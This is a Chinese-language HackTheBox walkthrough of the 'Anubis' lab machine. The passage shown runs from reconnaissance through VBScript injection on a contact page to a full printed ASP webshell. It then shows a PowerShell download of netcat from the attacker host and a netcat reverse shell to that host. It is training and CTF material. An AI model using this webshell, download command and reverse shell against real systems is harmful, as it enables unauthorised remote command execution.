大家好,我是你们好朋友小峰。预计从今天开始,陆陆续续为大家推出 CTF-Horizontall HackTheBox 系列文章。
0x01 简介
Anubis是由作者4ndr34z在HackTheBox平台上设计,难度相对较高的靶场。该靶场知识点内容涵盖上传ASP webshell、突破容器、然后在 jamovi 中利用 XSS漏洞获取用户帐户并最终针对 ADCS(Active Directory 证书服务)进行权限升级的利用的真实场景。
靶场知识链条
1.1信息收集
Ønmap
1.2目录枚举
Ø目录/文件枚举
Ø带有 VBScript 注入的联系页面
1.3渗透测试
Ø联系页面上的 ASP Webshell
Ø打破 Windows 容器
Ø跨站脚本漏洞CVE-2021-28079 – Jamovi <= 1.16.18
1.4权限提升
·ADCS 域升级(认证二手研究论文)
·重新配置 Web 模板
·注册管理员以获得证书
·使用 Rubeus 揭示管理员的 NTLM 哈希
·祝贺拿到root用户flag文件
让我们开始
0x02 网络扫描
分配给这台机器的 IP 是 10.129.95.208。Nmap 扫描显示一个网站在端口 443 上运行。首先在我们的 hosts 文件中添加了该网站 SSL 证书中提到的通用名称,用于 DNS 路由。(如图2.1所示)
nmap -sV -sC -Pn 10.129.95.208 echo "10.129.95.208 www.windcorp.htb" >> /etc/hosts
图2.1 nmap端口扫描
0x03 目录枚举
枚举目录后,我们找不到任何有价值的目录页面,除了页面以 *.asp 结尾的文档页面,通过服务搭建猜测后台有一个 Windows 服务器运行。持续利用工具枚举目标网站将我们带到了联系页面,该页面显示可以以文本方式输入任何内容。因此,我尝试在消息正文中输入一个基本的VBScript,vbscript脚本可以把当前访问的cookie名称更改为 Harshit。(如图3.1所示)
图3.1 插入cookie脚本代码
我们发现服务器试图写入一个 cookie时它抛出了一个错误,但这开辟了利用范围。(如图3.2所示)
图3.2 写入脚本代码页面报错
0x04 开发
Kali 自带一个功能非常强大的 ASP webshell,脚本目录位置位于 /usr/share/webshells/asp/cmdasp.asp,我们对其进行了简单修改之后,然后上传到服务器上。您可以直接使用已经修改完成的脚本,如下(如图4.1所示)
<%
Dim oScriptDim oScriptNetDim oFileSys, oFileDim szCMD, szTempFileOn Error Resume NextSet oScript = Server.CreateObject("WSCRIPT.SHELL")Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")szCMD = Request.Form(".CMD")If (szCMD <> "") ThenszTempFile = "C:\" & oFileSys.GetTempName( )Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)End If%>
图4.1 编写恶意webshell脚本文件
通过联系页面插入后,我们看到现在已将其转换为RCE漏洞。现在通过运行一个简单的命令whoami来测试它(如图4.2所示)
图4.2 运行脚本命令语句
由于目标网站为windows服务器,所以我们提前在攻击机上传一个window netcat,然后利用系统python启动一个web服务器,然后利用靶场访问攻击机下载我们上传好nc工具,最终通过失陷主机使用powershell命令下载执行。(如图4.3所示)
python3 -m http.server 80
图4.3 python启动web服务器
在接收端,我们输入以下命令 powershell one-liner 将这个 exe 保存在受害者桌面上(如图4.4所示)
powershell -c iwr http://10.10.16.3/nc64.exe -outf \Users\Administrator\Desktop\nc64.exe
图4.4 利用powershell下载nc可执行文件
最后我们在攻击机上设置端口 1337 为监听器,使用 powershell 启动nc64.exe,你可以看到我们收到了一个反向 shell!(如图4.5所示)(如图4.6所示)
start \Users\Administrator\Desktop\nc64.exe 10.10.16.3 1337 -e cmd.exe
nc -nlvp 1337